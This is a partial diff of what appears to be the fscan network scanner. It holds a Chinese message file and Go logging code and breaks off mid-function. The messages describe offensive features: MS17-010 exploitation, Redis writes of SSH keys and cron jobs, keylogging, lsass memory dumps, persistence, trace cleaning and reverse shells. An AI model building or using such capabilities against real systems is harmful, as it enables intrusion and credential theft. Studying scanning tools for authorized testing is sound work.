# ========================= 配置消息 =========================
config_web_timeout_warning:
other: "Web超时时间大于普通超时时间,可能导致不期望的行为"
# ========================= 插件扫描消息 (带参数) =========================
scan_plugin_not_found:
other: "扫描类型 {{.Arg1}} 无对应插件,已跳过"
# ========================= SSH插件消息 =========================
ssh_key_auth_success:
other: "SSH密钥认证成功: {{.Arg1}} [{{.Arg2}}]"
ssh_pwd_auth_success:
other: "SSH密码认证成功: {{.Arg1}} [{{.Arg2}}:{{.Arg3}}]"
ssh_key_read_failed:
other: "读取SSH私钥失败: {{.Arg1}}"
ssh_service_identified:
other: "SSH服务识别成功: {{.Arg1}} - {{.Arg2}}"
# ========================= Redis插件消息 =========================
redis_unauth_success:
other: "Redis未授权访问: {{.Arg1}}"
redis_service_identified:
other: "Redis服务识别成功: {{.Arg1}} - {{.Arg2}}"
# ========================= ICMP相关消息 =========================
trying_no_listen_icmp:
other: "尝试无监听ICMP探测"
insufficient_privileges:
other: "权限不足,无法执行原始ICMP探测"
switching_to_ping:
other: "切换到ping命令模式"
icmp_listen_failed:
other: "ICMP监听失败: {{.Arg1}}"
icmp_connect_failed:
other: "ICMP连接失败: {{.Arg1}}"
icmp_listener_panic:
other: "ICMP监听协程异常: {{.Arg1}}"
host_alive:
other: "{{.Arg1}} 存活 (协议: {{.Arg2}})"
proxy_mode_disable_icmp:
other: "检测到代理模式,自动禁用ICMP扫描"
segment_16_alive:
other: "{{.Arg1}}.0.0/16 网段存活: {{.Arg2}}"
segment_24_alive:
other: "{{.Arg1}}.0/24 网段存活: {{.Arg2}}"
tcp_probe_low_icmp_rate:
other: "ICMP响应率过低({{.Arg1}}),启用TCP补充探测({{.Arg2}}个主机)"
tcp_probe_found:
other: "TCP补充探测发现 {{.Arg1}} 个存活主机"
# ========================= 存活扫描统计消息 =========================
parse_target_failed:
other: "解析目标失败: {{.Arg1}}"
alive_scan_start_single:
other: "开始存活扫描: {{.Arg1}}"
alive_scan_start_multi:
other: "开始存活扫描: {{.Arg1}}个目标 (首个: {{.Arg2}})"
alive_total_hosts:
other: "总主机数: {{.Arg1}}"
alive_hosts_count:
other: "存活主机: {{.Arg1}}"
alive_dead_hosts:
other: "死亡主机: {{.Arg1}}"
alive_success_rate:
other: "成功率: {{.Arg1}}"
alive_scan_duration:
other: "扫描耗时: {{.Arg1}}"
alive_host_item:
other: " [{{.Arg1}}] {{.Arg2}}"
# ========================= 扫描器消息 =========================
http_client_init_failed:
other: "HTTP客户端初始化失败: {{.Arg1}}"
active_reverse_shell:
other: "检测到活跃的反弹Shell,保持程序运行..."
active_socks5_proxy:
other: "检测到活跃的SOCKS5代理,保持程序运行..."
active_forward_shell:
other: "检测到活跃的正向Shell,保持程序运行..."
press_ctrl_c_exit:
other: "按 Ctrl+C 退出程序"
received_exit_signal:
other: "收到退出信号,正在关闭..."
scan_task_complete:
other: "扫描任务完成,耗时 {{.Arg1}},已扫描 {{.Arg2}} 个目标"
plugin_panic:
other: "插件 {{.Arg1}} 扫描 {{.Arg2}}:{{.Arg3}} 时panic: {{.Arg4}}"
plugin_scan_error:
other: "插件扫描错误 {{.Arg1}}:{{.Arg2}} - {{.Arg3}}"
brute_no_weak_pass:
other: "{{.Arg1}}:{{.Arg2}} {{.Arg3}} 未发现弱密码"
# ========================= 端口扫描消息 =========================
invalid_port:
other: "无效端口: {{.Arg1}}"
port_scan_start:
other: "开始端口扫描,共 {{.Arg1}} 个任务,预计耗时 {{.Arg2}} 秒({{.Arg3}} 分钟)"
thread_pool_create_failed:
other: "创建线程池失败: {{.Arg1}}"
port_scan_complete:
other: "扫描完成,发现 {{.Arg1}} 个开放端口"
scan_failure_rate_high:
other: "扫描失败率过高: {{.Arg1}} ({{.Arg2}}/{{.Arg3}}失败)"
scan_failure_reason:
other: "可能原因: 线程数过高导致资源耗尽"
scan_reduce_threads_suggestion:
other: "建议: 降低线程数(当前{{.Arg1}})到50-100,或增加系统ulimit"
scan_partial_failure:
other: "部分端口扫描失败: {{.Arg1}} ({{.Arg2}}/{{.Arg3}})"
scan_reduce_threads_accuracy:
other: "建议: 降低线程数(当前{{.Arg1}})以提高准确性"
resource_exhausted_warning:
other: "资源耗尽错误 {{.Arg1}} 次,建议降低线程数(-t)或增加ulimit"
port_open:
other: "端口开放 {{.Arg1}}"
port_open_http:
other: "端口开放 {{.Arg1}} [http](HTTP探测)"
port_scan_no_alive_subnet:
other: "网段预筛未发现存活子网,跳过端口扫描"
# ========================= 本地扫描消息 =========================
local_plugin_info:
other: "本地插件: {{.Arg1}}"
local_plugin_not_specified:
other: "本地插件: 未指定"
local_plugin_not_found:
other: "错误: 本地插件 '{{.Arg1}}' 不存在或在当前平台不可用"
# ========================= 服务扫描消息 =========================
service_plugin_info:
other: "服务插件: {{.Arg1}}"
service_plugin_custom:
other: "服务插件: 自定义指定 ({{.Arg1}})"
service_plugin_none:
other: "服务插件: 无可用插件"
port_out_of_range:
other: "端口超出范围: {{.Arg1}} (有效范围: 1-65535)"
invalid_target_format:
other: "无效的目标格式: {{.Arg1}}"
host_port_invalid:
other: "主机 {{.Arg1}} 端口格式非法: {{.Arg2}}"
host_port_out_of_range:
other: "主机 {{.Arg1}} 端口超出范围: {{.Arg2}} (有效范围: 1-65535)"
alive_hosts_count_info:
other: "存活主机数: {{.Arg1}}"
alive_ports_count:
other: "存活端口数: {{.Arg1}}"
# ========================= Web扫描消息 =========================
http_proxy_config_error:
other: "HTTP代理配置错误: {{.Arg1}}"
socks5_not_supported_web:
other: "Web检测暂不支持SOCKS5代理,建议使用HTTP代理(-proxy)"
url_parse_failed:
other: "解析URL失败: {{.Arg1}} - {{.Arg2}}"
invalid_scan_target:
other: "无效的扫描目标"
poc_load_failed:
other: "POC加载失败,无法执行扫描"
# ========================= 基础扫描策略消息 =========================
plugins_custom_specified:
other: "{{.Arg1}}: 自定义指定 ({{.Arg2}})"
plugins_info:
other: "{{.Arg1}}: {{.Arg2}}"
plugins_none:
other: "{{.Arg1}}: 无可用插件"
start_local_scan:
other: "开始本地扫描"
start_service_scan:
other: "开始服务扫描"
start_web_scan:
other: "开始Web扫描"
start_scan:
other: "开始扫描"
# ========================= 服务插件通用消息 =========================
# 格式: {service}_{type} - type: credential/unauth/service/vuln
ldap_credential:
other: "LDAP {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
ldap_hash_credential:
other: "LDAP {{.Arg1}} {{.Arg2}}\\{{.Arg3}} [Hash:{{.Arg4}}]"
ldap_service:
other: "LDAP {{.Arg1}} {{.Arg2}}"
kafka_credential:
other: "Kafka {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
kafka_service:
other: "Kafka {{.Arg1}} {{.Arg2}}"
ftp_service:
other: "FTP {{.Arg1}} {{.Arg2}}"
rdp_service:
other: "RDP {{.Arg1}} {{.Arg2}}"
activemq_credential:
other: "ActiveMQ {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
activemq_service:
other: "ActiveMQ {{.Arg1}} {{.Arg2}}"
telnet_credential:
other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
telnet_service:
other: "Telnet {{.Arg1}} {{.Arg2}}"
telnet_unauth_rce:
other: "Telnet {{.Arg1}} 未授权访问且可执行命令 [{{.Arg2}}] {{.Arg3}}"
telnet_credential_rce:
other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} 命令执行验证成功 [{{.Arg4}}] {{.Arg5}}"
telnet_cve202624061:
other: "Telnet {{.Arg1}} CVE-2026-24061 Telnet认证绕过 (用户: {{.Arg2}}) {{.Arg3}}"
cassandra_credential:
other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
cassandra_service:
other: "Cassandra {{.Arg1}} {{.Arg2}}"
cassandra_unauth:
other: "Cassandra {{.Arg1}} 无需认证"
vnc_unauth:
other: "VNC {{.Arg1}} 未授权访问"
vnc_credential:
other: "VNC {{.Arg1}} 密码: {{.Arg2}}"
smtp_credential:
other: "SMTP {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
smtp_service:
other: "SMTP {{.Arg1}} {{.Arg2}}"
mongodb_unauth:
other: "MongoDB {{.Arg1}} 未授权访问"
mongodb_credential:
other: "MongoDB {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
mongodb_auth_required:
other: "MongoDB {{.Arg1}} 需要认证"
elasticsearch_credential:
other: "Elasticsearch {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
elasticsearch_unauth:
other: "Elasticsearch {{.Arg1}} 未授权访问"
elasticsearch_service:
other: "Elasticsearch {{.Arg1}} {{.Arg2}}"
mysql_credential:
other: "MySQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
mysql_service:
other: "MySQL {{.Arg1}} {{.Arg2}}"
memcached_unauth:
other: "Memcached {{.Arg1}} 未授权访问"
memcached_service:
other: "Memcached {{.Arg1}} {{.Arg2}}"
rsync_credential:
other: "Rsync {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
rsync_service:
other: "Rsync {{.Arg1}} {{.Arg2}}"
oracle_credential:
other: "Oracle {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
oracle_service:
other: "Oracle {{.Arg1}} {{.Arg2}}"
oracle_default_account:
other: "Oracle {{.Arg1}} 默认账户: {{.Arg2}}:{{.Arg3}}"
postgresql_credential:
other: "PostgreSQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
postgresql_service:
other: "PostgreSQL {{.Arg1}} {{.Arg2}}"
postgresql_vuln:
other: "PostgreSQL {{.Arg1}} {{.Arg2}}"
smb_service:
other: "SMB {{.Arg1}} {{.Arg2}}"
rabbitmq_credential:
other: "RabbitMQ {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
rabbitmq_service:
other: "RabbitMQ {{.Arg1}} {{.Arg2}}"
neo4j_unauth:
other: "Neo4j {{.Arg1}} 未授权访问"
neo4j_credential:
other: "Neo4j {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
neo4j_service:
other: "Neo4j {{.Arg1}} {{.Arg2}}"
mssql_credential:
other: "MSSQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
mssql_service:
other: "MSSQL {{.Arg1}} {{.Arg2}}"
# ========================= 漏洞检测消息 =========================
smbghost_vuln:
other: "SMB Ghost {{.Arg1}} CVE-2020-0796 漏洞存在"
ms17010_start:
other: "MS17-010利用开始: {{.Arg1}}"
ms17010_complete:
other: "MS17-010利用完成: {{.Arg1}}"
ms17010_shellcode_complete:
other: "{{.Arg1}} MS17-010漏洞利用完成 (Shellcode长度: {{.Arg2}})"
ms17010_protocol_decrypt_error:
other: "协议请求解密错误: {{.Arg1}}"
ms17010_protocol_decode_error:
other: "协议请求解码错误: {{.Arg1}}"
ms17010_session_decrypt_error:
other: "会话请求解密错误: {{.Arg1}}"
ms17010_session_decode_error:
other: "会话请求解码错误: {{.Arg1}}"
ms17010_connect_decrypt_error:
other: "连接请求解密错误: {{.Arg1}}"
ms17010_connect_decode_error:
other: "连接请求解码错误: {{.Arg1}}"
ms17010_pipe_decrypt_error:
other: "管道请求解密错误: {{.Arg1}}"
ms17010_pipe_decode_error:
other: "管道请求解码错误: {{.Arg1}}"
# ========================= Redis插件消息 =========================
redis_reconnect_failed:
other: "重新连接Redis失败: {{.Arg1}}"
redis_config_failed:
other: "获取Redis配置失败: {{.Arg1}}"
redis_write_failed:
other: "文件写入失败: {{.Arg1}}"
redis_write_success:
other: "成功写入文件: {{.Arg1}}"
redis_read_failed:
other: "读取本地文件失败: {{.Arg1}}"
redis_file_write_success:
other: "成功将文件 {{.Arg1}} 的内容写入到 {{.Arg2}}"
redis_ssh_key_failed:
other: "SSH密钥写入失败: {{.Arg1}}"
redis_ssh_key_success:
other: "SSH密钥写入成功"
redis_cron_failed:
other: "定时任务写入失败: {{.Arg1}}"
redis_cron_success:
other: "定时任务写入成功"
redis_restore_failed:
other: "恢复数据库配置失败: {{.Arg1}}"
# ========================= 本地插件消息 =========================
# 计划任务持久化
crontask_success:
other: "计划任务持久化完成: {{.Arg1}}个方法成功"
# 键盘记录
keylogger_success:
other: "键盘记录完成,捕获了 {{.Arg1}} 个键盘事件"
keylogger_save_failed:
other: "保存键盘记录失败: {{.Arg1}}"
keylogger_no_input:
other: "没有捕获到键盘输入"
# 环境变量信息
envinfo_sensitive:
other: "发现敏感环境变量: {{.Arg1}}"
# Windows WMI
winwmi_success:
other: "Windows WMI事件订阅持久化完成: {{.Arg1}}个项目"
# 痕迹清理
cleaner_success:
other: "痕迹清理完成: {{.Arg1}}个文件, {{.Arg2}}个系统条目"
cleaner_history_found:
other: "发现历史文件: {{.Arg1}} (需手动清理相关条目)"
# 文件下载
downloader_success:
other: "文件下载完成: {{.Arg1}} -> {{.Arg2}} (大小: {{.Arg3}} bytes)"
# 正向Shell
forwardshell_complete:
other: "正向Shell服务完成 - 端口: {{.Arg1}}"
forwardshell_started:
other: "正向Shell服务器已在 0.0.0.0:{{.Arg1}} 上启动"
forwardshell_accept_failed:
other: "接受连接失败: {{.Arg1}}"
forwardshell_client_connected:
other: "客户端连接来自: {{.Arg1}}"
forwardshell_read_failed:
other: "读取客户端命令失败: {{.Arg1}}"
# AV检测
avdetect_load_failed:
other: "加载AV数据库失败: {{.Arg1}}"
avdetect_loaded:
other: "加载了 {{.Arg1}} 个AV产品信息"
avdetect_found:
other: "检测到AV: {{.Arg1}} ({{.Arg2}}个进程)"
avdetect_process:
other: " - {{.Arg1}}"
# Windows启动文件夹
winstartup_success:
other: "Windows启动文件夹持久化完成: {{.Arg1}}个方法"
# 文件信息
fileinfo_sensitive:
other: "发现敏感文件: {{.Arg1}}"
fileinfo_potential:
other: "发现潜在敏感文件: {{.Arg1}}"
# 域控信息
dcinfo_not_joined:
other: "当前计算机未加入域环境"
dcinfo_success:
other: "域控制器信息收集完成: {{.Arg1}}个类别成功"
# Windows服务
winservice_success:
other: "Windows服务持久化完成: {{.Arg1}}个项目"
# Shell环境变量
shellenv_success:
other: "Shell环境变量持久化完成: {{.Arg1}}个方法成功"
# LD_PRELOAD
ldpreload_success:
other: "LD_PRELOAD持久化完成: {{.Arg1}}个方法成功"
# SOCKS5代理
socks5_starting:
other: "在端口 {{.Arg1}} 上启动SOCKS5代理"
socks5_complete:
other: "SOCKS5代理完成 - 端口: {{.Arg1}}"
socks5_started:
other: "SOCKS5代理服务器已在 127.0.0.1:{{.Arg1}} 上启动"
socks5_cancelled:
other: "SOCKS5代理服务器被上下文取消"
socks5_accept_failed:
other: "接受连接失败: {{.Arg1}}"
socks5_handshake_failed:
other: "SOCKS5握手失败: {{.Arg1}}"
socks5_request_failed:
other: "SOCKS5请求处理失败: {{.Arg1}}"
socks5_connected:
other: "建立SOCKS5代理连接"
# 反弹Shell
reverseshell_complete:
other: "反弹Shell完成 - 目标: {{.Arg1}}"
reverseshell_connected:
other: "反弹Shell已连接到 {{.Arg1}}:{{.Arg2}}"
# Systemd服务
systemdservice_success:
other: "系统服务持久化完成: {{.Arg1}}个方法成功"
# 系统信息
systeminfo_start:
other: "开始系统信息收集"
systeminfo_os:
other: "操作系统: {{.Arg1}}"
systeminfo_arch:
other: "架构: {{.Arg1}}"
systeminfo_cpu:
other: "CPU核心数: {{.Arg1}}"
systeminfo_hostname:
other: "主机名: {{.Arg1}}"
systeminfo_user:
other: "当前用户: {{.Arg1}}"
systeminfo_homedir:
other: "用户目录: {{.Arg1}}"
systeminfo_workdir:
other: "工作目录: {{.Arg1}}"
systeminfo_tempdir:
other: "临时目录: {{.Arg1}}"
systeminfo_pathcount:
other: "PATH变量条目: {{.Arg1}}个"
systeminfo_winver:
other: "Windows版本: {{.Arg1}}"
systeminfo_domain:
other: "用户域: {{.Arg1}}"
systeminfo_kernel:
other: "系统内核: {{.Arg1}}"
systeminfo_distro:
other: "发行版: {{.Arg1}}"
systeminfo_distro_exists:
other: "发行版: /etc/os-release 存在"
systeminfo_whoami:
other: "当前用户(whoami): {{.Arg1}}"
# Windows计划任务
winschtask_success:
other: "Windows计划任务持久化完成: {{.Arg1}}个项目"
# Windows注册表
winregistry_success:
other: "Windows注册表持久化完成: {{.Arg1}}个项目"
# Minidump
minidump_panic:
other: "minidump插件发生panic: {{.Arg1}}"
minidump_success:
other: "成功将lsass.exe内存转储到文件: {{.Arg1}} (大小: {{.Arg2}} bytes)"
# ========================= WebScan消息 =========================
webscan_target_url_failed:
other: "构建目标URL失败: {{.Arg1}}"
webscan_invalid_url:
other: "{{.Arg1}} {{.Arg2}}: {{.Arg3}}"
webscan_request_create_failed:
other: "创建HTTP请求失败: {{.Arg1}}"
webscan_builtin_poc_failed:
other: "加载内置POC目录失败: {{.Arg1}}"
webscan_poc_dir_not_exist:
other: "POC目录不存在: {{.Arg1}}"
webscan_poc_dir_walk_failed:
other: "遍历POC目录失败: {{.Arg1}}"
webscan_rule_match_error:
other: "规则匹配错误 [{{.Arg1}}]: {{.Arg2}}"
webscan_poc_exec_error:
other: "执行POC错误 {{.Arg1}}: {{.Arg2}}"
webscan_set_exec_error:
other: "设置项执行错误 {{.Arg1}}: {{.Arg2}}"
webscan_regex_compile_error:
other: "正则编译错误: {{.Arg1}}"
webscan_reverse_url_error:
other: "反连URL解析错误: {{.Arg1}}"
webscan_cel_syntax_error:
other: "CEL语法错误 [{{.Arg1}}]: {{.Arg2}}"
webscan_cel_init_failed:
other: "初始化基础CEL环境失败: {{.Arg1}}"
webscan_request_restricted:
other: "POC HTTP请求 {{.Arg1}} 受限: {{.Arg2}}"
webscan_response_parse_failed:
other: "响应解析失败: {{.Arg1}}"
# Main 入口
param_error:
other: "参数错误: {{.Arg1}}"
error_generic:
other: "错误: {{.Arg1}}"
init_failed:
other: "初始化失败: {{.Arg1}}"
poc_load_complete:
other: "POC加载完成: 总共{{.Arg1}}个,成功{{.Arg2}}个,失败{{.Arg3}}个"
redis_scan_success:
other: "Redis {{.Arg1}} {{.Arg2}}"
rabbitmq_detected:
other: "RabbitMQ {{.Arg1}} {{.Arg2}}"
# ========================= Web UI消息 =========================
web_server_started:
other: "Web服务器已启动,端口: {{.Arg1}}"
web_shutting_down:
other: "Web服务器正在关闭..."
web_mode_not_supported:
other: "当前版本不支持Web模式,请使用 -tags web 重新编译"
+92
View File
@@ -0,0 +1,92 @@
package common
import (
"fmt"
)
/*
initialize.go - 统一初始化入口
简化后的流程
命令行 FlagVars BuildConfig() Config + State
*/
// InitResult 初始化结果
type InitResult struct {
Config *Config
State *State
Info *HostInfo
Session *ScanSession
}
// Initialize 统一初始化函数
// 封装 BuildConfig → InitOutput 流程
func Initialize(info *HostInfo) (*InitResult, error) {
// 1. 初始化日志系统
InitLogger()
// 2. 从 FlagVars 构建 Config 和 State
cfg, state, err := BuildConfig(GetFlagVars(), info)
if err != nil {
return nil, fmt.Errorf("配置构建失败: %w", err)
}
// 3. 设置全局实例
SetGlobalConfig(cfg)
SetGlobalState(state)
// 4. 初始化输出系统
if err := InitOutput(); err != nil {
return nil, fmt.Errorf("输出初始化失败: %w", err)
}
session := NewScanSession(cfg, state, GetFlagVars())
return &InitResult{
Config: cfg,
State: state,
Info: info,
Session: session,
}, nil
}
// ValidateExclusiveParams 验证互斥参数
// 检查 -h、-u、-local 只能指定一个
func ValidateExclusiveParams(info *HostInfo) error {
paramCount := 0
var activeParam string
fv := GetFlagVars()
if info.Host != "" {
paramCount++
activeParam = "-h"
}
if fv.TargetURL != "" {
paramCount++
if activeParam != "" {
activeParam += " 和 -u"
} else {
activeParam = "-u"
}
}
if fv.LocalPlugin != "" {
paramCount++
if activeParam != "" {
activeParam += " 和 -local"
} else {
activeParam = "-local"
}
}
if paramCount > 1 {
return fmt.Errorf("参数 %s 互斥,请只指定一个扫描目标\n -h: 网络主机扫描\n -u: Web URL扫描\n -local: 本地信息收集", activeParam)
}
return nil
}
// Cleanup 清理资源
func Cleanup() error {
return CloseOutput()
}
-66
View File
@@ -1,66 +0,0 @@
package common
import (
"fmt"
"os"
"time"
)
var Results = make(chan string)
var Woker = 0
var Start = true
var LogSucTime int64
var LogErr bool
var LogErrTime int64
func LogSuccess(result string) {
Woker++
LogSucTime = time.Now().Unix()
if Start {
go SaveLog()
Start = false
}
Results <- result
}
func SaveLog() {
for result := range Results {
fmt.Println(result)
if IsSave {
WriteFile(result, Outputfile)
}
Woker--
}
}
func WriteFile(result string, filename string) {
var text = []byte(result + "\n")
fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0777)
if err != nil {
fmt.Println("Open %s error, %v", filename, err)
return
}
_, err = fl.Write(text)
fl.Close()
if err != nil {
fmt.Println("write %s error, %v", filename, err)
}
}
func WaitSave() {
for {
if Woker == 0 {
close(Results)
return
}
}
}
func LogError(errinfo interface{}) {
if LogErr {
if (time.Now().Unix()-LogSucTime) > 10 && (time.Now().Unix()-LogErrTime) > 10 {
fmt.Println(errinfo)
LogErrTime = time.Now().Unix()
}
}
}
+90
View File
@@ -0,0 +1,90 @@
package common
/*
logger.go - 日志系统简化接口
提供统一的日志API底层使用logging包实现
*/
import (
"strings"
"sync"
"github.com/shadow1ng/fscan/common/logging"
)
var (
globalLogger *logging.Logger
loggerOnce sync.Once
)
func getGlobalLogger() *logging.Logger {
loggerOnce.Do(func() {
fv := GetFlagVars()
level := getLogLevelFromString(fv.LogLevel)
config := &logging.LoggerConfig{
Level: level,
EnableColor: !fv.NoColor,
SlowOutput: false,
ShowProgress: !fv.DisableProgress,
Silent: fv.Silent,
StartTime: GetGlobalState().GetStartTime(),
}
if fv.Debug {
config.DebugLogFile = "fscan_debug.log"
}
globalLogger = logging.NewLogger(config)
globalLogger.SetCoordinatedOutput(LogWithProgress)
})
return globalLogger
}
func getLogLevelFromString(levelStr string) logging.LogLevel {
switch strings.ToLower(levelStr) {
case "all":
return logging.LevelAll
case "error":
return logging.LevelError
case "base":
return logging.LevelBase
case "info":
return logging.LevelInfo
case "success":
return logging.LevelSuccess
case "debug":
return logging.LevelDebug
case "info,success":
return logging.LevelInfoSuccess
case "base,info,success", "base_info_success":
return logging.LevelBaseInfoSuccess
default:
return logging.LevelInfoSuccess
}
}
// InitLogger 初始化日志系统
func InitLogger() {
getGlobalLogger().Initialize()
}
// LogDebug 输出调试日志
func LogDebug(msg string) { getGlobalLogger().Debug(msg) }
// LogInfo 输出信息日志
func LogInfo(msg string) { getGlobalLogger().Info(msg) }
// LogSuccess 输出成功日志(Web指纹等)
func LogSuccess(result string) { getGlobalLogger().Success(result) }
// LogVuln 输出漏洞/重要发现日志(密码成功、漏洞等)
func LogVuln(result string) { getGlobalLogger().Vuln(result) }
// LogError 输出错误日志
func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
// CloseLogger 关闭日志系统,释放文件资源
func CloseLogger() {
if globalLogger != nil {
globalLogger.Close()
}
}
+104
View File
@@ -0,0 +1,104 @@
package logging
/*
constants.go - 日志系统常量定义
统一管理common/logging包中的所有常量便于查看和编辑
*/
import (
"time"
"github.com/fatih/color"
)
// =============================================================================
// 日志级别常量 - 层级设计
// =============================================================================
// LogLevel 日志级别类型(数值越小越详细)
type LogLevel int
// 定义系统支持的日志级别常量(层级:Debug < Base < Info < Success < Vuln < Error
const (
LevelDebug LogLevel = 0 // 调试信息(最详细)
LevelBase LogLevel = 1 // 基础信息(扫描进度等)
LevelInfo LogLevel = 2 // 一般信息(端口开放、服务识别等)
LevelSuccess LogLevel = 3 // 成功结果(Web指纹等)
LevelVuln LogLevel = 4 // 重要发现(弱密码、漏洞等)
LevelError LogLevel = 5 // 错误信息(始终显示)
)
// 向后兼容的别名
const (
LevelAll LogLevel = LevelDebug // ALL 等同于 Debug(显示所有)
LevelInfoSuccess LogLevel = LevelInfo // 废弃,映射到 Info
LevelBaseInfoSuccess LogLevel = LevelBase // 废弃,映射到 Base
)
// =============================================================================
// 时间显示常量 (从Formatter.go迁移)
// =============================================================================
const (
// MaxMillisecondDisplay 毫秒显示的最大时长
MaxMillisecondDisplay = time.Second
// MaxSecondDisplay 秒显示的最大时长
MaxSecondDisplay = time.Minute
// MaxMinuteDisplay 分钟显示的最大时长
MaxMinuteDisplay = time.Hour
// SlowOutputDelay 慢速输出延迟
SlowOutputDelay = 50 * time.Millisecond
// ProgressClearDelay 进度条清除延迟
ProgressClearDelay = 10 * time.Millisecond
)
// =============================================================================
// 日志前缀常量 (从Formatter.go迁移)
// =============================================================================
const (
// PrefixDebug 调试日志前缀
PrefixDebug = "[.]"
// PrefixInfo 信息日志前缀
PrefixInfo = "[*]"
// PrefixSuccess 成功日志前缀
PrefixSuccess = "[+]"
// PrefixVuln 漏洞/重要发现前缀
PrefixVuln = "[!]"
// PrefixError 错误日志前缀
PrefixError = "[-]"
)
// =============================================================================
// 默认配置常量
// =============================================================================
const (
// DefaultLevel 默认日志级别
DefaultLevel = LevelAll
// DefaultEnableColor 默认启用彩色输出
DefaultEnableColor = true
// DefaultSlowOutput 默认不启用慢速输出
DefaultSlowOutput = false
// DefaultShowProgress 默认显示进度条
DefaultShowProgress = true
)
// =============================================================================
// 默认颜色映射
// =============================================================================
// GetDefaultLevelColors 获取默认的日志级别颜色映射
func GetDefaultLevelColors() map[LogLevel]interface{} {
return map[LogLevel]interface{}{
LevelError: color.FgYellow, // 错误日志显示黄色
LevelVuln: color.FgRed, // 漏洞/重要发现显示红色(密码成功、漏洞等)
LevelBase: color.FgWhite, // 基础日志显示白色(普通信息)
LevelInfo: color.FgWhite, // 信息日志显示白色(普通信息)
LevelSuccess: color.FgGreen, // 成功日志显示绿色(Web指纹等)
LevelDebug: color.FgWhite, // 调试日志显示白色
}
}
+259
View File
@@ -0,0 +1,259 @@
package logging
import (
"fmt"
"os"
"strings"
"sync"
"time"
"github.com/fatih/color"
)
// LogEntry 日志条目
type LogEntry struct {
Level LogLevel `json:"level"`
Time time.Time `json:"time"`
Content string `json:"content"`
Source string `json:"source"`
Metadata map[string]interface{} `json:"metadata"`
}
// LoggerConfig 日志器配置
type LoggerConfig struct {
Level LogLevel `json:"level"`
EnableColor bool `json:"enable_color"`
SlowOutput bool `json:"slow_output"`
ShowProgress bool `json:"show_progress"`
Silent bool `json:"silent"`
StartTime time.Time `json:"start_time"`
LevelColors map[LogLevel]interface{} `json:"-"`
DebugLogFile string `json:"debug_log_file"`
}
// DefaultLoggerConfig 默认日志器配置
func DefaultLoggerConfig() *LoggerConfig {
return &LoggerConfig{
Level: DefaultLevel,
EnableColor: DefaultEnableColor,
SlowOutput: DefaultSlowOutput,
ShowProgress: DefaultShowProgress,
StartTime: time.Now(),
LevelColors: GetDefaultLevelColors(),
}
}
// Logger 简化的日志管理器
type Logger struct {
mu sync.RWMutex
config *LoggerConfig
startTime time.Time
coordinatedOutput func(string)
initialized bool
debugFile *os.File
}
// NewLogger 创建新的日志管理器
func NewLogger(config *LoggerConfig) *Logger {
if config == nil {
config = DefaultLoggerConfig()
}
l := &Logger{
config: config,
startTime: config.StartTime,
initialized: true,
}
if config.DebugLogFile != "" {
f, err := os.OpenFile(config.DebugLogFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
if err == nil {
l.debugFile = f
}
}
return l
}
// Initialize 初始化日志器
func (l *Logger) Initialize() {
l.mu.Lock()
defer l.mu.Unlock()
l.initialized = true
}
// SetCoordinatedOutput 设置协调输出函数
func (l *Logger) SetCoordinatedOutput(outputFunc func(string)) {
l.mu.Lock()
defer l.mu.Unlock()
l.coordinatedOutput = outputFunc
}
// Debug 输出调试信息
func (l *Logger) Debug(msg string) {
l.log(LevelDebug, msg)
}
// Base 输出基础信息
func (l *Logger) Base(msg string) {
l.log(LevelBase, msg)
}
// Info 输出信息
func (l *Logger) Info(msg string) {
l.log(LevelInfo, msg)
}
// Success 输出成功信息
func (l *Logger) Success(msg string) {
l.log(LevelSuccess, msg)
}
// Vuln 输出漏洞/重要发现信息
func (l *Logger) Vuln(msg string) {
l.log(LevelVuln, msg)
}
// Error 输出错误信息
func (l *Logger) Error(msg string) {
l.log(LevelError, msg)
}
// log 内部日志处理方法
func (l *Logger) log(level LogLevel, content string) {
l.mu.Lock()
defer l.mu.Unlock()
if l.config.Silent {
return
}
if !l.shouldLog(level) {
return
}
// 格式化消息:保留前缀,去掉时间戳
prefix := l.getLevelPrefix(level)
// 处理多行内容:给每行加上前缀,然后作为一个整体输出
if strings.Contains(content, "\n") {
lines := strings.Split(content, "\n")
var formattedLines []string
for _, line := range lines {
if line != "" {
formattedLines = append(formattedLines, fmt.Sprintf("%s %s", prefix, line))
}
}
logMsg := strings.Join(formattedLines, "\n")
l.outputMessage(level, logMsg)
} else {
logMsg := fmt.Sprintf("%s %s", prefix, content)
l.outputMessage(level, logMsg)
}
// 写入debug日志文件(纯文本,无颜色)
if l.debugFile != nil {
timestamp := time.Since(l.startTime).Truncate(time.Millisecond)
if strings.Contains(content, "\n") {
lines := strings.Split(content, "\n")
for _, line := range lines {
if line != "" {
_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, line)
}
}
} else {
_, _ = fmt.Fprintf(l.debugFile, "[%s] %s %s\n", timestamp, prefix, content)
}
}
// 根据慢速输出设置决定是否添加延迟
if l.config.SlowOutput {
time.Sleep(SlowOutputDelay)
}
}
// Close 关闭日志器,释放文件资源
func (l *Logger) Close() {
l.mu.Lock()
defer l.mu.Unlock()
if l.debugFile != nil {
_ = l.debugFile.Close()
l.debugFile = nil
}
}
// shouldLog 检查是否应该记录该级别的日志
// 层级过滤:消息级别 >= 配置级别 时显示,Error 始终显示
func (l *Logger) shouldLog(level LogLevel) bool {
// Error 级别始终显示
if level == LevelError {
return true
}
// 层级过滤:消息级别 >= 配置级别
return level >= l.config.Level
}
// outputMessage 输出消息
func (l *Logger) outputMessage(level LogLevel, logMsg string) {
